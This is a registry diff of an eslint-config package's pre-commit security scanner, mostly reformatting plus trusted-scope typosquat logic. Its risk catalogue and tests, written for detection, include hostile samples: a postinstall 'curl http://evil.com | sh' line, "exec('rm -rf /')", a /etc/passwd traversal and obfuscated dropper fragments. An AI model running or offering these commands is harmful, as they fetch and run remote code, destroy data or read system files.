@archpublicwebsite/eslint-config 1.0.21 → 1.0.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -25,10 +25,10 @@
25
25
  */
26
26
  export const SEVERITY_SCORE = {
27
27
  critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
28
- high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
- medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
- low: 1, // CVSS 0.1 – 3.9 → info only
31
- info: 0, // Informational → no action required
28
+ high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
+ medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
+ low: 1, // CVSS 0.1 – 3.9 → info only
31
+ info: 0, // Informational → no action required
32
32
  }
33
33
 
34
34
  /**
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
63
63
  owasp: 'A03:2021 – Injection',
64
64
  atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
65
65
  description:
66
- 'Code that allows an attacker to execute arbitrary instructions on the host machine. '
67
- + 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
66
+ 'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
67
+ 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
68
68
  severity: 'critical',
69
69
  examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
70
70
  },
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
76
76
  owasp: 'A08:2021 – Software and Data Integrity Failures',
77
77
  atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
78
78
  description:
79
- 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
80
- + 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
81
- + 'ua-parser-js, polyfill.io).',
79
+ 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
80
+ 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
81
+ 'ua-parser-js, polyfill.io).',
82
82
  severity: 'high',
83
83
  examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
84
84
  },
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
90
90
  owasp: 'A03:2021 – Injection',
91
91
  atlas: [],
92
92
  description:
93
- 'Modification of Object.prototype or constructor.prototype allows an attacker to '
94
- + 'inject properties onto every object in the runtime, which can escalate to RCE '
95
- + 'in some server-side Node.js frameworks.',
93
+ 'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
94
+ 'inject properties onto every object in the runtime, which can escalate to RCE ' +
95
+ 'in some server-side Node.js frameworks.',
96
96
  severity: 'high',
97
- examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
97
+ examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
98
98
  },
99
99
 
100
100
  // ── A4: XSS / DOM injection ────────────────────────────────────────────────
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
104
104
  owasp: 'A03:2021 – Injection',
105
105
  atlas: [],
106
106
  description:
107
- 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
108
- + 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
109
- + "victim's browser context.",
107
+ 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
108
+ 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
109
+ "victim's browser context.",
110
110
  severity: 'high',
111
111
  examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
112
112
  },
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
118
118
  owasp: 'A02:2021 – Cryptographic Failures',
119
119
  atlas: [],
120
120
  description:
121
- 'API keys, tokens, passwords, or private keys committed to source code. '
122
- + 'Exposed secrets are frequently scraped from public repositories by automated bots '
123
- + 'within minutes of exposure.',
121
+ 'API keys, tokens, passwords, or private keys committed to source code. ' +
122
+ 'Exposed secrets are frequently scraped from public repositories by automated bots ' +
123
+ 'within minutes of exposure.',
124
124
  severity: 'critical',
125
125
  examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
126
126
  },
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
132
132
  owasp: 'A08:2021 – Software and Data Integrity Failures',
133
133
  atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
134
134
  description:
135
- 'Malicious code injected via npm package install scripts (preinstall/postinstall), '
136
- + 'typosquatted package names, or compromised transitive dependencies. '
137
- + 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
135
+ 'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
136
+ 'typosquatted package names, or compromised transitive dependencies. ' +
137
+ 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
138
138
  severity: 'critical',
139
139
  examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
140
140
  },
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
146
146
  owasp: 'A01:2021 – Broken Access Control',
147
147
  atlas: [],
148
148
  description:
149
- 'User-controlled input used in file-system operations without sanitisation. '
150
- + 'Allows attackers to read, write, or delete files outside the intended directory '
151
- + "(e.g., reading /etc/passwd via '../../etc/passwd').",
149
+ 'User-controlled input used in file-system operations without sanitisation. ' +
150
+ 'Allows attackers to read, write, or delete files outside the intended directory ' +
151
+ "(e.g., reading /etc/passwd via '../../etc/passwd').",
152
152
  severity: 'high',
153
153
  examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
154
154
  },
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
160
160
  owasp: 'A10:2021 – Server-Side Request Forgery',
161
161
  atlas: [],
162
162
  description:
163
- 'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
164
- + 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
165
- + 'resources not directly accessible from the internet.',
163
+ 'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
164
+ 'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
165
+ 'resources not directly accessible from the internet.',
166
166
  severity: 'high',
167
167
  examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
168
168
  },
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
174
174
  owasp: 'A06:2021 – Vulnerable and Outdated Components',
175
175
  atlas: [],
176
176
  description:
177
- 'Pathological regular expressions with nested quantifiers on overlapping character '
178
- + 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
179
- + 'User-controlled input matched against such patterns is a DoS vector.',
177
+ 'Pathological regular expressions with nested quantifiers on overlapping character ' +
178
+ 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
179
+ 'User-controlled input matched against such patterns is a DoS vector.',
180
180
  severity: 'medium',
181
181
  examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
182
182
  },
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
188
188
  owasp: 'A08:2021 – Software and Data Integrity Failures',
189
189
  atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
190
190
  description:
191
- 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
192
- + 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
193
- + 'privileges and full file-system access — making them a prime exfiltration vector.',
191
+ 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
192
+ 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
193
+ 'privileges and full file-system access — making them a prime exfiltration vector.',
194
194
  severity: 'critical',
195
195
  examples: ["import https from 'node:https' // in tailwind.config.ts"],
196
196
  },
@@ -44,11 +44,7 @@ import {
44
44
  printSupplyFinding,
45
45
  shouldSkip,
46
46
  } from './scanner.mjs'
47
- import {
48
- getRepoRoot,
49
- getStagedNameStatus,
50
- runSafe,
51
- } from '../git-hooks/shared.mjs'
47
+ import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
52
48
 
53
49
  // ─── Read staged file content ──────────────────────────────────────────────────
54
50
 
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
70
66
  */
71
67
  function scanStagedFiles() {
72
68
  const staged = getStagedNameStatus()
73
- const toScan = staged.filter(({ status, path }) =>
74
- ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path)),
69
+ const toScan = staged.filter(
70
+ ({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
75
71
  )
76
72
  if (toScan.length === 0) return []
77
73
 
@@ -81,7 +77,10 @@ function scanStagedFiles() {
81
77
  let skipped = 0
82
78
 
83
79
  for (const { path: filePath } of toScan) {
84
- if (shouldSkip(filePath)) { skipped++; continue }
80
+ if (shouldSkip(filePath)) {
81
+ skipped++
82
+ continue
83
+ }
85
84
 
86
85
  const content = readStagedContent(filePath)
87
86
  if (!content) continue
@@ -91,7 +90,7 @@ function scanStagedFiles() {
91
90
 
92
91
  findings.push(
93
92
  ...collectPatternFindings(lines, isConfig, filePath),
94
- ...collectObfuscatedLineFindings(lines, filePath),
93
+ ...collectObfuscatedLineFindings(lines, filePath)
95
94
  )
96
95
  }
97
96
 
@@ -111,10 +110,9 @@ function scanStagedFiles() {
111
110
  */
112
111
  function getNewlyAddedPackages() {
113
112
  const staged = getStagedNameStatus()
114
- const pkgFiles = staged.filter(({ status, path }) =>
115
- ['A', 'M'].includes(status[0])
116
- && path.endsWith('package.json')
117
- && !path.includes('node_modules'),
113
+ const pkgFiles = staged.filter(
114
+ ({ status, path }) =>
115
+ ['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
118
116
  )
119
117
  if (pkgFiles.length === 0) return []
120
118
 
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
131
129
  }
132
130
  }
133
131
  return all
132
+ } catch {
133
+ return new Set()
134
134
  }
135
- catch { return new Set() }
136
135
  }
137
136
 
138
137
  const added = new Set()
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
156
155
  if (!existsSync(pkgJsonPath)) return []
157
156
 
158
157
  let pkg
159
- try { pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8')) }
160
- catch { return [] }
158
+ try {
159
+ pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
160
+ } catch {
161
+ return []
162
+ }
161
163
 
162
164
  const findings = []
163
165
  for (const scriptName of ['preinstall', 'install', 'postinstall']) {
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
199
201
 
200
202
  process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
201
203
 
202
- return newPkgs.flatMap((pkgName) => {
204
+ return newPkgs.flatMap(pkgName => {
203
205
  const findings = []
204
206
  const similar = detectTyposquat(pkgName)
205
207
  if (similar) {
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
220
222
  function runAudit(repoRoot) {
221
223
  if (process.env.SECURITY_AUDIT !== '1') return
222
224
 
223
- process.stdout.write(`\nRunning pnpm audit (SECURITY_AUDIT=1)...\n`)
225
+ process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
224
226
  const result = runSafe('pnpm audit --audit-level=high 2>&1')
225
227
  if (result) process.stdout.write(`${DIM}${result}${R}\n`)
226
228
  }
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
230
232
  function main() {
231
233
  if (process.env.SKIP_SECURITY_SCAN === '1') {
232
234
  process.stderr.write(
233
- `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
234
- + `${YLW} This bypass is intentional and has been logged.${R}\n\n`,
235
+ `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
236
+ `${YLW} This bypass is intentional and has been logged.${R}\n\n`
235
237
  )
236
238
  return
237
239
  }
@@ -240,7 +242,7 @@ function main() {
240
242
 
241
243
  printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
242
244
 
243
- const fileFindings = scanStagedFiles()
245
+ const fileFindings = scanStagedFiles()
244
246
  const supplyFindings = scanNewDependencies(repoRoot)
245
247
 
246
248
  runAudit(repoRoot)
@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
13
13
 
14
14
  // ─── ANSI colours ──────────────────────────────────────────────────────────────
15
15
 
16
- export const R = '\x1b[0m'
17
- export const RED = '\x1b[31m'
18
- export const YLW = '\x1b[33m'
19
- export const CYN = '\x1b[36m'
20
- export const GRN = '\x1b[32m'
16
+ export const R = '\x1b[0m'
17
+ export const RED = '\x1b[31m'
18
+ export const YLW = '\x1b[33m'
19
+ export const CYN = '\x1b[36m'
20
+ export const GRN = '\x1b[32m'
21
21
  export const BOLD = '\x1b[1m'
22
- export const DIM = '\x1b[2m'
23
- export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
22
+ export const DIM = '\x1b[2m'
23
+ export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
24
24
 
25
25
  // ─── Severity badge ────────────────────────────────────────────────────────────
26
26
 
27
27
  /** @param {'critical'|'high'|'medium'|'low'} severity */
28
28
  export function badge(severity) {
29
29
  switch (severity) {
30
- case 'critical': return `${RED}${BOLD}[CRITICAL]${R}`
31
- case 'high': return `${RED}[HIGH] ${R}`
32
- case 'medium': return `${YLW}[MEDIUM] ${R}`
33
- default: return `${CYN}[LOW] ${R}`
30
+ case 'critical':
31
+ return `${RED}${BOLD}[CRITICAL]${R}`
32
+ case 'high':
33
+ return `${RED}[HIGH] ${R}`
34
+ case 'medium':
35
+ return `${YLW}[MEDIUM] ${R}`
36
+ default:
37
+ return `${CYN}[LOW] ${R}`
34
38
  }
35
39
  }
36
40
 
@@ -43,6 +47,7 @@ export function badge(severity) {
43
47
  */
44
48
  export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
45
49
  'packages/eslint-config/eslint.config.mjs',
50
+ 'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
46
51
  'packages/eslint-config/tools/git-hooks/pre-push.mjs',
47
52
  'packages/eslint-config/tools/security/patterns.mjs',
48
53
  'packages/eslint-config/tools/security/risks.mjs',
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
142
147
  for (let j = 0; j <= b.length; j++) dp[0][j] = j
143
148
  for (let i = 1; i <= a.length; i++) {
144
149
  for (let j = 1; j <= b.length; j++) {
145
- dp[i][j] = a[i - 1] === b[j - 1]
146
- ? dp[i - 1][j - 1]
147
- : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
150
+ dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
148
151
  }
149
152
  }
150
153
  return dp[a.length][b.length]
@@ -157,7 +160,28 @@ export function levenshtein(a, b) {
157
160
  * @returns {string|null}
158
161
  */
159
162
  export function detectTyposquat(pkgName) {
160
- const bare = pkgName.startsWith('@') ? (pkgName.split('/')[1] ?? pkgName) : pkgName
163
+ const trustedScopes = new Set(['@storybook', '@types', '@vitejs', '@vitest', '@nuxt', '@vue', '@typescript-eslint'])
164
+
165
+ if (pkgName.startsWith('@')) {
166
+ const [scope = '', scopedName = ''] = pkgName.split('/')
167
+ // Trusted namespaces publish many package variants (vue3, react-vite, etc.)
168
+ // and should not be treated as typosquat candidates.
169
+ if (trustedScopes.has(scope)) return null
170
+
171
+ const bareScoped = scopedName || pkgName
172
+ if (bareScoped.length < 3) return null
173
+ for (const popular of POPULAR_PACKAGES) {
174
+ if (bareScoped === popular) return null
175
+ // Skip legit version-suffixed variants like vue3/react18.
176
+ if (bareScoped === `${popular}2` || bareScoped === `${popular}3` || bareScoped === `${popular}18`) {
177
+ return null
178
+ }
179
+ if (levenshtein(bareScoped.toLowerCase(), popular.toLowerCase()) === 1) return popular
180
+ }
181
+ return null
182
+ }
183
+
184
+ const bare = pkgName
161
185
  if (bare.length < 3) return null
162
186
  for (const popular of POPULAR_PACKAGES) {
163
187
  if (bare === popular) return null
@@ -217,9 +241,7 @@ export function printScanHeader(title, subtitle) {
217
241
  export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
218
242
  console.log(`\n${HR}`)
219
243
  if (blocking.length === 0) {
220
- const warnNote = warnings.length > 0
221
- ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
222
- : ''
244
+ const warnNote = warnings.length > 0 ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
223
245
  console.log(` ${GRN}${BOLD}✔ Security scan passed${R}${warnNote}`)
224
246
  console.log(HR)
225
247
  console.log()
@@ -21,34 +21,34 @@ const testCases = [
21
21
  {
22
22
  label: 'Dropper — global require hijack',
23
23
  expectedId: 'require-global-hijack',
24
- line: "global[_$_1e42[0]]= require;",
24
+ line: 'global[_$_1e42[0]]= require;',
25
25
  },
26
26
  {
27
27
  label: 'Dropper — global bracket assignment via decoded array',
28
28
  expectedId: 'global-bracket-assignment',
29
- line: "global[_$_1e42[2]]= module",
29
+ line: 'global[_$_1e42[2]]= module',
30
30
  },
31
31
  {
32
32
  label: 'Dropper — obfuscated _$_ variable names',
33
33
  expectedId: 'obfuscated-variable-names',
34
- line: "var _$_1e42=(function(l,e){var h=l.length;var g=[];",
34
+ line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
35
35
  },
36
36
  {
37
37
  label: 'Dropper — shuffle-cipher IIFE bootstrap',
38
38
  expectedId: 'shuffle-cipher-iife',
39
- line: `var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join('')})("rmcej%otb%",2857687)`,
39
+ line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
40
40
  },
41
41
  {
42
42
  label: 'Dropper — array-based Function call chain (final execution)',
43
43
  expectedId: 'array-fn-call-chain',
44
- line: "var Tgw=jFD(LQI,pYd );Tgw(2509);",
44
+ line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
45
45
  },
46
46
 
47
47
  // ── Classic attack patterns ───────────────────────────────────────────────
48
48
  {
49
49
  label: 'eval() call',
50
50
  expectedId: 'no-eval',
51
- line: "const x = eval(someVar)",
51
+ line: 'const x = eval(someVar)',
52
52
  },
53
53
  {
54
54
  label: 'new Function() call',
@@ -58,22 +58,22 @@ const testCases = [
58
58
  {
59
59
  label: 'Buffer base64 decode',
60
60
  expectedId: 'base64-decode',
61
- line: `const payload = Buffer.from('abc123', 'base64').toString()`,
61
+ line: "const payload = Buffer.from('abc123', 'base64').toString()",
62
62
  },
63
63
  {
64
64
  label: 'String.fromCharCode obfuscation',
65
65
  expectedId: 'charcode-obfuscation',
66
- line: "const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)",
66
+ line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
67
67
  },
68
68
  {
69
69
  label: 'Hex-escaped string payload',
70
70
  expectedId: 'hex-string-obfuscation',
71
- line: `const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'`,
71
+ line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
72
72
  },
73
73
  {
74
74
  label: 'Prototype pollution',
75
75
  expectedId: 'prototype-pollution',
76
- line: "obj.__proto__ = { admin: true }",
76
+ line: 'obj.__proto__ = { admin: true }',
77
77
  },
78
78
  {
79
79
  label: 'child_process in config',
@@ -97,14 +97,11 @@ for (const tc of testCases) {
97
97
  console.log(`${GRN}✔${R} ${tc.label}`)
98
98
  console.log(` ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
99
99
  passed++
100
- }
101
- else {
100
+ } else {
102
101
  console.log(`${RED}${BOLD}✖ ${tc.label}${R}`)
103
102
  console.log(` Expected pattern id: ${tc.expectedId}`)
104
- if (matched.length > 0)
105
- console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
106
- else
107
- console.log(` (no patterns matched this line)`)
103
+ if (matched.length > 0) console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
104
+ else console.log(' (no patterns matched this line)')
108
105
  failed++
109
106
  }
110
107
  }